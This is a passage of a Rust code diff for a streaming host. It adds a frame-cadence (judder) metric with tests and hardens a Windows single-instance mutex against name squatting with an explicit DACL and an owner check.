pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Result<()> {
|
||||
use std::io::Write;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
@@ -160,9 +237,7 @@ pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Re
|
||||
/// `PATH`). Never fatal — on failure the file is simply left at the inherited ACL (today's behaviour).
|
||||
#[cfg(windows)]
|
||||
fn restrict_to_system_admins(path: &std::path::Path) {
|
||||
let icacls = std::env::var("SystemRoot")
|
||||
.map(|r| format!("{r}\\System32\\icacls.exe"))
|
||||
.unwrap_or_else(|_| "icacls".to_string());
|
||||
let icacls = icacls_path();
|
||||
let status = std::process::Command::new(icacls)
|
||||
.arg(path.as_os_str())
|
||||
.args([
|
||||
|
||||
@@ -30,6 +30,12 @@ const STALE_REOPEN_NS: u64 = 100_000_000;
|
||||
pub(crate) const MARGIN_STEP_NS: u64 = 500_000;
|
||||
pub(crate) const MARGIN_MAX_NS: u64 = 2_500_000;
|
||||
|
||||
/// Judder (‰ of present intervals off the modal spacing) that on its own justifies a 1 Hz
|
||||
/// presenter line. A cadence defect produces no drops, no gate holds and healthy latency
|
||||
/// percentiles, so it would otherwise stay silent until someone set the debug env var.
|
||||
/// Occasional single-frame slips are normal; a twentieth of a window is not.
|
||||
pub(crate) const JUDDER_LOG_PERMILLE: u16 = 50;
|
||||
|
||||
/// The decoded-frame store between the wake channel and the present call.
|
||||
///
|
||||
/// `capacity == 0` = newest-wins (latency intent): `submit` replaces, `take` clears.
|
||||
@@ -183,6 +189,15 @@ pub(crate) struct LatchClock {
|
||||
pending_count: u32,
|
||||
grid: punktfunk_core::phase::PanelGrid,
|
||||
fallback_period_ns: u64,
|
||||
/// The cadence (judder) statistic — the only stat we publish that is not a latency,
|
||||
/// and the only one that can see a pacing defect. Lives here because this is where
|
||||
/// the on-glass stamps and the learned grid it quantises against already meet.
|
||||
///
|
||||
/// ⚠ These stamps are `CLOCK_REALTIME` (the module's domain), so a wall-clock step
|
||||
/// would forge one hitch that never happened. It lands in the stall/disordered
|
||||
/// counters rather than the judder ratio, which is why that split is worth having.
|
||||
/// Android feeds the metric a raw monotonic stamp and has no such exposure.
|
||||
intervals: punktfunk_core::phase::PresentIntervals,
|
||||
}
|
||||
|
||||
/// Spacings per handoff to [`punktfunk_core::phase::PanelGrid`]. Small enough that a real
|
||||
@@ -198,14 +213,29 @@ impl LatchClock {
|
||||
pending_count: 0,
|
||||
grid: punktfunk_core::phase::PanelGrid::seeded(refresh_hz as i32),
|
||||
fallback_period_ns: 1_000_000_000 / u64::from(refresh_hz.max(1)),
|
||||
intervals: punktfunk_core::phase::PresentIntervals::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Drain the window's cadence summary — the 1 Hz stat boundary, beside the store and
|
||||
/// gate counters.
|
||||
pub(crate) fn take_cadence(&mut self) -> Option<punktfunk_core::phase::PresentCadence> {
|
||||
self.intervals.take()
|
||||
}
|
||||
|
||||
/// Fold on-glass stamps (ascending). Spacings are measured against the previous
|
||||
/// stamp whatever the batching, so the loop's one-sample-per-pass drain still feeds
|
||||
/// the learner.
|
||||
pub(crate) fn note_batch(&mut self, stamps: &[u64]) {
|
||||
// Seeded-or-learned, so cadence is scored from the first window rather than only
|
||||
// once the learner has converged. Held for the batch: a mid-batch period change
|
||||
// would requantise a handful of samples for no benefit.
|
||||
let period_ns = self.period_ns() as i64;
|
||||
for &s in stamps {
|
||||
// Cadence sees EVERY stamp, including the sub-millisecond pairs the grid
|
||||
// learner skips below: two presents inside one refresh is not a grid step,
|
||||
// but it is very much a cadence event (it scores as a zero-refresh interval).
|
||||
self.intervals.record(s as i64, period_ns);
|
||||
if self.last_ns != 0 && s > self.last_ns {
|
||||
let d = s - self.last_ns;
|
||||
// < 1 ms apart = a queued pair, not a grid step.
|
||||
|
||||
@@ -19,7 +19,8 @@
|
||||
use crate::input::{Capture, FingerPhase};
|
||||
use crate::overlay::{FrameCtx, Overlay, OverlayAction, OverlayFrame, SessionPhase};
|
||||
use crate::present_pace::{
|
||||
Cadence, CadenceProbe, FrameStore, LatchClock, PresentGate, MARGIN_MAX_NS, MARGIN_STEP_NS,
|
||||
Cadence, CadenceProbe, FrameStore, LatchClock, PresentGate, JUDDER_LOG_PERMILLE, MARGIN_MAX_NS,
|
||||
MARGIN_STEP_NS,
|
||||
};
|
||||
use crate::touch::Abs;
|
||||
use crate::vk::{FrameInput, Presenter};
|
||||
@@ -1821,6 +1822,7 @@ fn run_inner(mut opts: SessionOpts, mut mode: ModeCtl) -> Result<Option<Outcome>
|
||||
// a second `take_counters` would read zeros.
|
||||
let (replaced, q_drop, q_dry) = st.store.take_counters();
|
||||
let (gated, forced) = st.gate.take_counters();
|
||||
let cadence = st.clock.take_cadence();
|
||||
st.presented = PresentedWindow {
|
||||
e2e_p50_ms: e2e_p50 as f32 / 1000.0,
|
||||
e2e_p95_ms: e2e_p95 as f32 / 1000.0,
|
||||
@@ -1834,6 +1836,8 @@ fn run_inner(mut opts: SessionOpts, mut mode: ModeCtl) -> Result<Option<Outcome>
|
||||
q_dry,
|
||||
gated,
|
||||
forced,
|
||||
judder_permille: cadence.map(|c| c.judder_permille).unwrap_or(0),
|
||||
cadence_mode: cadence.map(|c| c.mode_units).unwrap_or(0),
|
||||
};
|
||||
st.win_e2e_us.clear();
|
||||
st.win_disp_us.clear();
|
||||
@@ -1855,7 +1859,14 @@ fn run_inner(mut opts: SessionOpts, mut mode: ModeCtl) -> Result<Option<Outcome>
|
||||
// The 1 Hz presenter line (the Apple `pf-present` analogue): emitted
|
||||
// when anything moved, or always under PUNKTFUNK_PRESENT_DEBUG=1 —
|
||||
// the field-triage instrument for the intent engine.
|
||||
if pacing_active && (present_debug || q_drop + q_dry + gated + forced > 0) {
|
||||
// Judder joins the "something moved" triggers deliberately: a cadence
|
||||
// defect shows NO drops, NO gate holds and healthy percentiles, so
|
||||
// without this a stream can judder visibly and never emit a line.
|
||||
if pacing_active
|
||||
&& (present_debug
|
||||
|| q_drop + q_dry + gated + forced > 0
|
||||
|| st.presented.judder_permille >= JUDDER_LOG_PERMILLE)
|
||||
{
|
||||
tracing::info!(
|
||||
smoothing = st.presented.smoothing,
|
||||
mode = st.presented.mode,
|
||||
@@ -1871,6 +1882,8 @@ fn run_inner(mut opts: SessionOpts, mut mode: ModeCtl) -> Result<Option<Outcome>
|
||||
latch_ms = st.presented.latch_ms,
|
||||
period_us = st.clock.period_ns() / 1000,
|
||||
margin_us = st.margin_ns / 1000,
|
||||
judder_permille = st.presented.judder_permille,
|
||||
cadence_mode = st.presented.cadence_mode,
|
||||
"presenter window"
|
||||
);
|
||||
}
|
||||
@@ -2368,6 +2381,14 @@ struct PresentedWindow {
|
||||
q_dry: u32,
|
||||
gated: u32,
|
||||
forced: u32,
|
||||
/// The cadence (judder) statistic — the fraction of present intervals (‰) that missed
|
||||
/// the modal spacing, and that modal spacing in whole refreshes. Every other number
|
||||
/// here is a latency and none of them can see a pacing defect: alternating 1 and 3
|
||||
/// refreshes has the same mean rate as a steady 2, better latency percentiles, and
|
||||
/// looks broken. `mode 0` = not enough evidence this window.
|
||||
/// See [`punktfunk_core::phase::PresentIntervals`].
|
||||
judder_permille: u16,
|
||||
cadence_mode: u8,
|
||||
}
|
||||
|
||||
/// The capture hints (`ui_stream` parity — the words the user reads while released).
|
||||
|
||||
@@ -66,6 +66,11 @@ pf-driver-proto = { path = "../pf-driver-proto" }
|
||||
bytemuck = { version = "1.19", features = ["derive"] }
|
||||
windows = { version = "0.62", features = [
|
||||
"Win32_Foundation",
|
||||
# The single-instance mutex is created with an explicit SDDL DACL and its owner is checked, so
|
||||
# a lower-privileged process (the LocalService plugin runner) can neither open it nor squat the
|
||||
# name unnoticed — see manager/instance.rs (security-review 2026-08-05 L-16).
|
||||
"Win32_Security",
|
||||
"Win32_Security_Authorization",
|
||||
"Win32_Devices_DeviceAndDriverInstallation",
|
||||
"Win32_Devices_Display",
|
||||
"Win32_Graphics_Gdi",
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
//! `IOCTL_CLEAR_ALL` and razing the live host's monitors mid-stream.
|
||||
|
||||
use super::*;
|
||||
use windows::Win32::Security::{PSECURITY_DESCRIPTOR, SECURITY_ATTRIBUTES};
|
||||
|
||||
/// The held single-instance mutex (`None` until claimed). Process-global — not per-manager — so the
|
||||
/// serve path can claim it EAGERLY at startup, before any session opens the backend: the claim is
|
||||
@@ -40,16 +41,40 @@ fn acquire_single_instance() -> Result<OwnedHandle> {
|
||||
machine — refusing to touch the driver (a second manager's startup CLEAR_ALL would raze \
|
||||
the live host's monitors mid-stream). Stop the other instance (e.g. `punktfunk-host \
|
||||
service stop`) first.";
|
||||
// SAFETY: plain FFI create of a named mutex; the returned handle (checked) is solely owned by
|
||||
// the `OwnedHandle`, and `GetLastError` is read immediately after the create — the documented
|
||||
// ERROR_ALREADY_EXISTS protocol for pre-existing named objects.
|
||||
// A name in `Global\` is creatable by ANY principal holding SeCreateGlobalPrivilege — which
|
||||
// includes the LocalService account the plugin runner is forced to (plugins.rs). With `None`
|
||||
// security attributes this object took the DACL from the creating token's default, and a
|
||||
// squatter who got there first (creating the name with a DACL that denies SYSTEM) permanently
|
||||
// and silently disabled every virtual-display session: the host lands in the ACCESS_DENIED arm
|
||||
// below and reports a perfectly reasonable "another instance is managing the driver", which
|
||||
// sends the operator hunting a process that does not exist (2026-08-05 review L-16).
|
||||
//
|
||||
// Two changes: create with an EXPLICIT DACL so lesser principals cannot open ours, and check
|
||||
// the OWNER of a name that already exists so a squat is reported as a squat.
|
||||
let sd = security_descriptor()?;
|
||||
let sa = SECURITY_ATTRIBUTES {
|
||||
nLength: std::mem::size_of::<SECURITY_ATTRIBUTES>() as u32,
|
||||
lpSecurityDescriptor: sd.0,
|
||||
bInheritHandle: false.into(),
|
||||
};
|
||||
// SAFETY: plain FFI create of a named mutex; `sa` (and the descriptor it points at) outlives
|
||||
// the call, the returned handle (checked) is solely owned by the `OwnedHandle`, and
|
||||
// `GetLastError` is read immediately after the create — the documented ERROR_ALREADY_EXISTS
|
||||
// protocol for pre-existing named objects.
|
||||
unsafe {
|
||||
let h = match CreateMutexW(None, false, w!("Global\\punktfunk-vdisplay-manager")) {
|
||||
let h = match CreateMutexW(Some(&sa), false, w!("Global\\punktfunk-vdisplay-manager")) {
|
||||
Ok(h) => h,
|
||||
// The name exists but its creator's DACL denies this token the implicit OPEN (the SCM
|
||||
// service creates it as SYSTEM; a second elevated-admin host lands here instead of in
|
||||
// the ALREADY_EXISTS branch — validated on-glass). Same meaning: an instance is live.
|
||||
Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!("{IN_USE}"),
|
||||
// the ALREADY_EXISTS branch — validated on-glass). Legitimately that means an instance
|
||||
// is live; it is ALSO exactly what a squat looks like, so say both.
|
||||
Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!(
|
||||
"{IN_USE}\n\nIf no other punktfunk-host is running, the name \
|
||||
`Global\\punktfunk-vdisplay-manager` has been SQUATTED by another process — any \
|
||||
account with SeCreateGlobalPrivilege can create it first and deny us access, \
|
||||
which disables virtual-display streaming until that process exits. Find the \
|
||||
holder with Sysinternals `handle.exe -a punktfunk-vdisplay-manager`."
|
||||
),
|
||||
Err(e) => {
|
||||
return Err(e).context("CreateMutexW(punktfunk-vdisplay single-instance guard)");
|
||||
}
|
||||
@@ -57,8 +82,114 @@ fn acquire_single_instance() -> Result<OwnedHandle> {
|
||||
let already = GetLastError() == ERROR_ALREADY_EXISTS;
|
||||
let owned = OwnedHandle::from_raw_handle(h.0 as _);
|
||||
if already {
|
||||
// We opened an existing object — so its DACL let us in, but that says nothing about
|
||||
// who created it. If the owner is not SYSTEM/Administrators it is not one of ours.
|
||||
if let Some(owner) = object_owner_sid(h) {
|
||||
if !is_privileged_sid(&owner) {
|
||||
anyhow::bail!(
|
||||
"the pf-vdisplay single-instance name is held by a NON-ADMINISTRATIVE \
|
||||
process (owner SID {owner}) — this is not another punktfunk-host, it is a \
|
||||
squat on `Global\\punktfunk-vdisplay-manager`, and it blocks all \
|
||||
virtual-display streaming while it is held."
|
||||
);
|
||||
}
|
||||
}
|
||||
anyhow::bail!("{IN_USE}");
|
||||
}
|
||||
Ok(owned)
|
||||
}
|
||||
}
|
||||
|
||||
/// `D:P(A;;GA;;;SY)(A;;GA;;;BA)` — a protected DACL (no inheritance) granting Full to SYSTEM and
|
||||
/// BUILTIN\Administrators, and to nobody else. Everything that legitimately manages pf-vdisplay is
|
||||
/// one of those two; a LocalService plugin runner is neither, so it can no longer open our object.
|
||||
fn security_descriptor() -> Result<LocalSd> {
|
||||
use windows::Win32::Security::Authorization::ConvertStringSecurityDescriptorToSecurityDescriptorW;
|
||||
use windows::Win32::Security::Authorization::SDDL_REVISION_1;
|
||||
let mut psd = PSECURITY_DESCRIPTOR::default();
|
||||
// SAFETY: the SDDL literal is NUL-terminated (`w!`), and `psd` is a live out-param whose
|
||||
// allocation is taken over by `LocalSd` below.
|
||||
unsafe {
|
||||
ConvertStringSecurityDescriptorToSecurityDescriptorW(
|
||||
w!("D:P(A;;GA;;;SY)(A;;GA;;;BA)"),
|
||||
SDDL_REVISION_1,
|
||||
&mut psd,
|
||||
None,
|
||||
)
|
||||
}
|
||||
.context("build the pf-vdisplay single-instance security descriptor")?;
|
||||
Ok(LocalSd(psd.0))
|
||||
}
|
||||
|
||||
/// Owns a `LocalAlloc`'d security descriptor and frees it on drop.
|
||||
struct LocalSd(*mut core::ffi::c_void);
|
||||
|
||||
impl Drop for LocalSd {
|
||||
fn drop(&mut self) {
|
||||
if !self.0.is_null() {
|
||||
// SAFETY: the pointer came from ConvertStringSecurityDescriptorToSecurityDescriptorW,
|
||||
// which documents LocalFree as the matching deallocation.
|
||||
unsafe {
|
||||
let _ = windows::Win32::Foundation::LocalFree(Some(
|
||||
windows::Win32::Foundation::HLOCAL(self.0),
|
||||
));
|
||||
}
|
||||
self.0 = std::ptr::null_mut();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// The owner SID of a kernel object, as an SDDL string. `None` when it cannot be read (the handle
|
||||
/// lacks READ_CONTROL) — treated as "unknown", never as "fine".
|
||||
fn object_owner_sid(h: HANDLE) -> Option<String> {
|
||||
use windows::Win32::Foundation::{LocalFree, HLOCAL};
|
||||
use windows::Win32::Security::Authorization::{
|
||||
ConvertSidToStringSidW, GetSecurityInfo, SE_KERNEL_OBJECT,
|
||||
};
|
||||
use windows::Win32::Security::{OWNER_SECURITY_INFORMATION, PSID};
|
||||
|
||||
let mut owner = PSID::default();
|
||||
let mut sd = PSECURITY_DESCRIPTOR::default();
|
||||
// SAFETY: `h` is the live mutex handle; the out-params are live locals; `sd` is the single
|
||||
// allocation and is LocalFree'd below.
|
||||
let rc = unsafe {
|
||||
GetSecurityInfo(
|
||||
h,
|
||||
SE_KERNEL_OBJECT,
|
||||
OWNER_SECURITY_INFORMATION,
|
||||
Some(&mut owner),
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
Some(&mut sd),
|
||||
)
|
||||
};
|
||||
let out = if rc.is_ok() && !owner.is_invalid() {
|
||||
let mut sid_str = windows::core::PWSTR::null();
|
||||
// SAFETY: `owner` points into `sd` and is a valid SID; `sid_str` is a live out-param whose
|
||||
// LocalAlloc'd string is freed immediately below.
|
||||
unsafe {
|
||||
if ConvertSidToStringSidW(owner, &mut sid_str).is_ok() && !sid_str.is_null() {
|
||||
let text = sid_str.to_string().unwrap_or_default();
|
||||
let _ = LocalFree(Some(HLOCAL(sid_str.0 as _)));
|
||||
Some(text)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
// SAFETY: `sd` is the LocalAlloc'd descriptor GetSecurityInfo returned (null when it failed,
|
||||
// which LocalFree tolerates).
|
||||
unsafe {
|
||||
let _ = LocalFree(Some(HLOCAL(sd.0)));
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// SYSTEM, BUILTIN\Administrators, or a member of the Administrators-owned set — the principals a
|
||||
/// legitimate pf-vdisplay manager runs as.
|
||||
fn is_privileged_sid(sid: &str) -> bool {
|
||||
matches!(sid, "S-1-5-18" | "S-1-5-32-544") || sid.starts_with("S-1-5-80-") // service SIDs
|
||||
}
|
||||
|
||||
@@ -129,6 +129,167 @@ pub fn circular_latch(samples_us: &[u64], period_ns: i64) -> Option<(u64, u16)>
|
||||
Some((mean_ns, (r * 1000.0) as u16))
|
||||
}
|
||||
|
||||
/// Largest present spacing still treated as cadence. Anything wider is a stall (a stream pause,
|
||||
/// an occluded window, a codec rebuild) and is counted separately: folding a 5-second gap in as
|
||||
/// "one irregular interval" would be true but useless, and folding it in as several would make a
|
||||
/// single hitch dominate the window.
|
||||
const CADENCE_MAX_UNITS: usize = 8;
|
||||
|
||||
/// A backwards step larger than this is not a reordered delivery, it is a bogus timestamp, and
|
||||
/// the run re-anchors onto the new instant instead of holding the old one. Android's render
|
||||
/// callback is documented to carry a garbage far-future stamp on a session's first frames;
|
||||
/// without this bound, holding "the later instant" latches onto that stamp and every subsequent
|
||||
/// present scores as disordered for the rest of the session (observed on glass, 2026-08-05).
|
||||
const CADENCE_REANCHOR_NS: i64 = 100_000_000;
|
||||
|
||||
/// Minimum intervals before a cadence summary means anything — same evidence bar as
|
||||
/// [`circular_latch`]. At any sane frame rate a 1 s window clears this many times over; it is
|
||||
/// there so a window truncated by a reanchor does not publish a judder figure off three samples.
|
||||
const CADENCE_MIN_SAMPLES: u32 = 8;
|
||||
|
||||
/// One window's present-cadence summary (see [`PresentIntervals`]).
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub struct PresentCadence {
|
||||
/// The most common spacing, in whole panel refreshes. This is the stream's cadence ratio:
|
||||
/// 1 when stream rate matches the panel, 2 for 60-on-120, 4 for 30-on-120.
|
||||
pub mode_units: u8,
|
||||
/// Fraction of intervals that were NOT the mode, in ‰ (same unit as the phase coherence).
|
||||
/// **This is the judder number.** 0 = a perfectly regular cadence at any ratio.
|
||||
pub judder_permille: u16,
|
||||
/// Intervals folded into the histogram (excludes stalls and disordered samples).
|
||||
pub samples: u32,
|
||||
/// Spacings wider than [`CADENCE_MAX_UNITS`] — stalls, not judder. Reported so a window that
|
||||
/// looks smooth *because the stream was paused* cannot be mistaken for a good one.
|
||||
pub stalls: u32,
|
||||
/// Present instants that did not advance (duplicate or out-of-order callbacks). A platform
|
||||
/// bookkeeping signal, not a display defect — kept out of the judder ratio deliberately.
|
||||
pub disordered: u32,
|
||||
}
|
||||
|
||||
/// Present-interval distribution in whole panel refreshes — the cadence (judder) statistic.
|
||||
///
|
||||
/// Every other stat we publish is a latency: a difference between two points on one frame. No
|
||||
/// latency can see judder, because judder is a property of the *sequence*. A stream that shows
|
||||
/// each frame one refresh early and the next one late has excellent percentiles and looks
|
||||
/// broken; a stream whose every interval is exactly two refreshes has worse latency than one
|
||||
/// that alternates 1 and 3, and looks perfect. Quantising the spacing between consecutive
|
||||
/// on-glass instants onto the panel grid measures the thing the eye actually reacts to.
|
||||
///
|
||||
/// Scale-free by construction: it needs no reference clock, and the *mode* absorbs the cadence
|
||||
/// ratio, so 60-on-120 and 120-on-120 are both "smooth = one tall bucket" and comparable to each
|
||||
/// other. That is what makes it usable as one ruler across clients, refresh rates and stream
|
||||
/// rates — including for a feature-on/feature-off A/B on the same device.
|
||||
///
|
||||
/// Feed it the **measured on-glass instant**, never the instant a present was *requested*:
|
||||
/// requested times would measure our own intent and report a perfect cadence no matter what the
|
||||
/// display did with it. Every client has the real one (Android's `OnFrameRendered` system time,
|
||||
/// the desktop's `VK_KHR_present_wait` stamp, Apple's drawable `presentedTime`).
|
||||
///
|
||||
/// Pure state and arithmetic — no clock, no allocation. The caller owns the window: drain with
|
||||
/// [`take`](Self::take) on its own 1 s tumbling boundary, per `design/stats-unification.md`.
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct PresentIntervals {
|
||||
last_present_ns: i64,
|
||||
/// Counts indexed by whole refreshes, `0..=CADENCE_MAX_UNITS`.
|
||||
hist: [u32; CADENCE_MAX_UNITS + 1],
|
||||
samples: u32,
|
||||
stalls: u32,
|
||||
disordered: u32,
|
||||
}
|
||||
|
||||
impl PresentIntervals {
|
||||
pub fn new() -> PresentIntervals {
|
||||
PresentIntervals::default()
|
||||
}
|
||||
|
||||
/// Forget the previous instant without discarding the window's counts. Call on any
|
||||
/// discontinuity where the next present is not a continuation of this cadence (reanchor,
|
||||
/// codec rebuild, surface recreate) so the gap across it is not scored as a stall.
|
||||
pub fn split(&mut self) {
|
||||
self.last_present_ns = 0;
|
||||
}
|
||||
|
||||
/// Fold one on-glass instant. `period_ns` is the learned panel period
|
||||
/// ([`PanelGrid::period_ns`]); a non-positive one means the grid is not known yet and the
|
||||
/// sample is held as the new predecessor without being scored.
|
||||
pub fn record(&mut self, present_ns: i64, period_ns: i64) {
|
||||
let prev = std::mem::replace(&mut self.last_present_ns, present_ns);
|
||||
if prev <= 0 || period_ns <= 0 {
|
||||
return; // first sample of a run, or no grid to quantise against
|
||||
}
|
||||
let spacing = present_ns - prev;
|
||||
if spacing <= 0 {
|
||||
// A repeated or out-of-order callback. Hold the LATER instant so one reordered
|
||||
// delivery cannot corrupt every following spacing — but only when the step back is
|
||||
// small enough to BE a reordering. Beyond that the old instant is the bogus one
|
||||
// (see [`CADENCE_REANCHOR_NS`]) and the run re-anchors onto the new sample, which
|
||||
// `last_present_ns` already holds.
|
||||
self.disordered += 1;
|
||||
if prev - present_ns < CADENCE_REANCHOR_NS {
|
||||
self.last_present_ns = prev;
|
||||
}
|
||||
return;
|
||||
}
|
||||
// Round to the nearest whole refresh: a present is "on the grid" if it is closer to this
|
||||
// vblank than the next, which is exactly what the display did with it.
|
||||
let units = (spacing * 2 + period_ns) / (period_ns * 2);
|
||||
if units as usize > CADENCE_MAX_UNITS {
|
||||
self.stalls += 1;
|
||||
return;
|
||||
}
|
||||
self.hist[units as usize] += 1;
|
||||
self.samples += 1;
|
||||
}
|
||||
|
||||
/// The window's raw counts `(samples, stalls, disordered)`, whatever the evidence bar.
|
||||
///
|
||||
/// [`summary`](Self::summary) returning `None` is otherwise indistinguishable from a window
|
||||
/// of perfectly smooth zeros in a log line, which makes "no cadence is being scored at all"
|
||||
/// invisible — the exact failure this exists to diagnose.
|
||||
pub fn pending(&self) -> (u32, u32, u32) {
|
||||
(self.samples, self.stalls, self.disordered)
|
||||
}
|
||||
|
||||
/// This window's summary, or `None` under [`CADENCE_MIN_SAMPLES`].
|
||||
pub fn summary(&self) -> Option<PresentCadence> {
|
||||
if self.samples < CADENCE_MIN_SAMPLES {
|
||||
return None;
|
||||
}
|
||||
// Ties resolve to the SMALLEST spacing, spelled out rather than left to a library:
|
||||
// `max_by_key` would take the last maximum and Swift's `max(by:)` the first, so a
|
||||
// 50/50 window (the classic 1-and-3 sawtooth) would label its mode differently on
|
||||
// Android and Apple while reporting the same judder. The clients have to agree.
|
||||
let mut mode_units = 0u8;
|
||||
let mut mode_count = 0u32;
|
||||
for (i, &c) in self.hist.iter().enumerate() {
|
||||
if c > mode_count {
|
||||
mode_count = c;
|
||||
mode_units = i as u8;
|
||||
}
|
||||
}
|
||||
Some(PresentCadence {
|
||||
mode_units,
|
||||
judder_permille: (u64::from(self.samples - mode_count) * 1000 / u64::from(self.samples))
|
||||
as u16,
|
||||
samples: self.samples,
|
||||
stalls: self.stalls,
|
||||
disordered: self.disordered,
|
||||
})
|
||||
}
|
||||
|
||||
/// Drain the window: the summary (if it clears the evidence bar) and a reset of the counts.
|
||||
/// The previous instant SURVIVES the drain — the cadence continues across a window boundary,
|
||||
/// and dropping it would manufacture one unscored interval per window.
|
||||
pub fn take(&mut self) -> Option<PresentCadence> {
|
||||
let out = self.summary();
|
||||
self.hist = [0; CADENCE_MAX_UNITS + 1];
|
||||
self.samples = 0;
|
||||
self.stalls = 0;
|
||||
self.disordered = 0;
|
||||
out
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
@@ -294,3 +455,178 @@ mod panel_grid_tests {
|
||||
assert_eq!(g.period_ns(), P120, "and the real grid wins it back");
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod cadence_tests {
|
||||
use super::*;
|
||||
|
||||
const P: i64 = 8_333_333; // 120 Hz in ns
|
||||
|
||||
/// Fold `n` presents spaced by `spacings` in rotation, starting at an arbitrary instant.
|
||||
fn cadence(spacings: &[i64], n: usize) -> PresentIntervals {
|
||||
let mut pi = PresentIntervals::new();
|
||||
let mut t = 1_000_000_000i64;
|
||||
pi.record(t, P);
|
||||
for i in 0..n {
|
||||
t += spacings[i % spacings.len()];
|
||||
pi.record(t, P);
|
||||
}
|
||||
pi
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_regular_cadence_has_no_judder() {
|
||||
let s = cadence(&[P], 60).summary().unwrap();
|
||||
assert_eq!((s.mode_units, s.judder_permille), (1, 0));
|
||||
assert_eq!(s.samples, 60);
|
||||
}
|
||||
|
||||
/// The property that makes this one ruler across rates: a stream at half the panel rate is
|
||||
/// SMOOTH, not judder — the mode absorbs the cadence ratio.
|
||||
fn ratio_is_absorbed_not_penalised(mult: i64, expect_units: u8) {
|
||||
let s = cadence(&[P * mult], 40).summary().unwrap();
|
||||
assert_eq!((s.mode_units, s.judder_permille), (expect_units, 0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sixty_on_onetwenty_reads_smooth() {
|
||||
ratio_is_absorbed_not_penalised(2, 2); // 60 fps on a 120 Hz panel
|
||||
ratio_is_absorbed_not_penalised(4, 4); // 30 fps on a 120 Hz panel
|
||||
}
|
||||
|
||||
/// D3's signature: the same mean spacing as `sixty_on_onetwenty_reads_smooth`, delivered as
|
||||
/// alternating 1 and 3 refreshes. Identical average frame rate, identical latency
|
||||
/// percentiles — and this is the one that looks broken.
|
||||
#[test]
|
||||
fn the_sawtooth_that_latency_stats_cannot_see() {
|
||||
let s = cadence(&[P, P * 3], 40).summary().unwrap();
|
||||
assert_eq!(s.judder_permille, 500);
|
||||
assert_eq!(
|
||||
s.mode_units, 1,
|
||||
"a tied mode resolves to the smallest spacing — pinned so the Swift port agrees"
|
||||
);
|
||||
}
|
||||
|
||||
/// Sub-refresh jitter is not judder: the display quantises it away, so the metric must too.
|
||||
/// Only a spacing that crosses the half-refresh boundary changes which vblank was used.
|
||||
#[test]
|
||||
fn jitter_inside_a_refresh_is_not_judder() {
|
||||
let s = cadence(&[P + P * 2 / 5, P - P * 2 / 5], 40)
|
||||
.summary()
|
||||
.unwrap();
|
||||
assert_eq!((s.mode_units, s.judder_permille), (1, 0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_stall_is_counted_apart_from_judder() {
|
||||
let mut pi = PresentIntervals::new();
|
||||
let mut t = 1_000_000_000i64;
|
||||
pi.record(t, P);
|
||||
for _ in 0..20 {
|
||||
t += P;
|
||||
pi.record(t, P);
|
||||
}
|
||||
t += P * 400; // a pause, not a pacing defect
|
||||
pi.record(t, P);
|
||||
let s = pi.summary().unwrap();
|
||||
assert_eq!((s.judder_permille, s.stalls, s.samples), (0, 1, 20));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn out_of_order_callbacks_do_not_corrupt_the_run() {
|
||||
let mut pi = PresentIntervals::new();
|
||||
let mut t = 1_000_000_000i64;
|
||||
pi.record(t, P);
|
||||
for _ in 0..10 {
|
||||
t += P;
|
||||
pi.record(t, P);
|
||||
}
|
||||
pi.record(t - P * 3, P); // a late/duplicate delivery
|
||||
for _ in 0..10 {
|
||||
t += P;
|
||||
pi.record(t, P);
|
||||
}
|
||||
let s = pi.summary().unwrap();
|
||||
assert_eq!(s.disordered, 1);
|
||||
assert_eq!(
|
||||
s.judder_permille, 0,
|
||||
"keeping the later instant means the following spacings stay on the grid"
|
||||
);
|
||||
}
|
||||
|
||||
/// The on-glass failure of 2026-08-05, pinned. Android's render callback can deliver a
|
||||
/// garbage far-future timestamp on a session's first frames. Holding "the later instant"
|
||||
/// unconditionally latched onto it and scored EVERY subsequent present as disordered —
|
||||
/// `cadN=0 disorder=119` per second, for the whole session, with the period known and the
|
||||
/// stream perfectly healthy. One bad sample must cost one sample, not the session.
|
||||
#[test]
|
||||
fn a_garbage_far_future_stamp_does_not_wedge_the_run() {
|
||||
let mut pi = PresentIntervals::new();
|
||||
let mut t = 1_000_000_000i64;
|
||||
pi.record(t, P);
|
||||
pi.record(t + 60 * 60 * 1_000_000_000, P); // a vendor's epoch-sized first stamp
|
||||
for _ in 0..20 {
|
||||
t += P;
|
||||
pi.record(t, P);
|
||||
}
|
||||
let s = pi.summary().expect("the run recovers instead of wedging");
|
||||
assert_eq!(s.disordered, 1, "the garbage stamp cost exactly one sample");
|
||||
assert_eq!((s.mode_units, s.judder_permille), (1, 0));
|
||||
assert_eq!(s.samples, 19, "every present after the re-anchor scored");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_unknown_grid_scores_nothing() {
|
||||
let s = cadence(&[P], 60);
|
||||
let mut pi = PresentIntervals::new();
|
||||
let mut t = 1_000_000_000i64;
|
||||
for _ in 0..60 {
|
||||
t += P;
|
||||
pi.record(t, 0); // PanelGrid has not learned a period yet
|
||||
}
|
||||
assert!(pi.summary().is_none());
|
||||
assert!(s.summary().is_some(), "control");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_short_window_publishes_nothing() {
|
||||
assert!(cadence(&[P], 5).summary().is_none());
|
||||
}
|
||||
|
||||
